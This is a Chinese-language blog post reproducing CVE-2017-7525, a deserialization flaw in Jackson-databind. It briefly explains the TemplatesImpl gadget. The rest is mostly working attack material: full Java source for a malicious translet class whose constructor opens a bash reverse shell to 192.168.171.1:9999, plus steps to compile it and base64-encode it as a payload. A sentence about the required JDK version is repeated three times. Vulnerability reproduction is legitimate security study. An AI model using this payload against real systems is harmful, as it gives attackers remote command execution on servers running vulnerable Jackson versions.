jackson CVE-2017-7525 漏洞复现
作者:互联网
CVE-2017-7525 Jackson-databind 反序列化漏洞
原理
Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。
利用
恶意class文件源码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Exploit extends AbstractTranslet {
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public Exploit() throws IOException {
try {
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.171.1/9999 0>&1"};
Process p = Runtime.getRuntime().exec(commands);
p.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws IOException {
Exploit helloworld = new Exploit();
}
}
将上述文件编译成class文件后,转化为base64编码:
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs
参考文章
漏洞复现-CVE-2017-7525-Jackson远程代码执行
标签:jackson,sun,Exploit,internal,7525,apache,import,2017,public 来源: https://blog.csdn.net/qq_41874930/article/details/121606895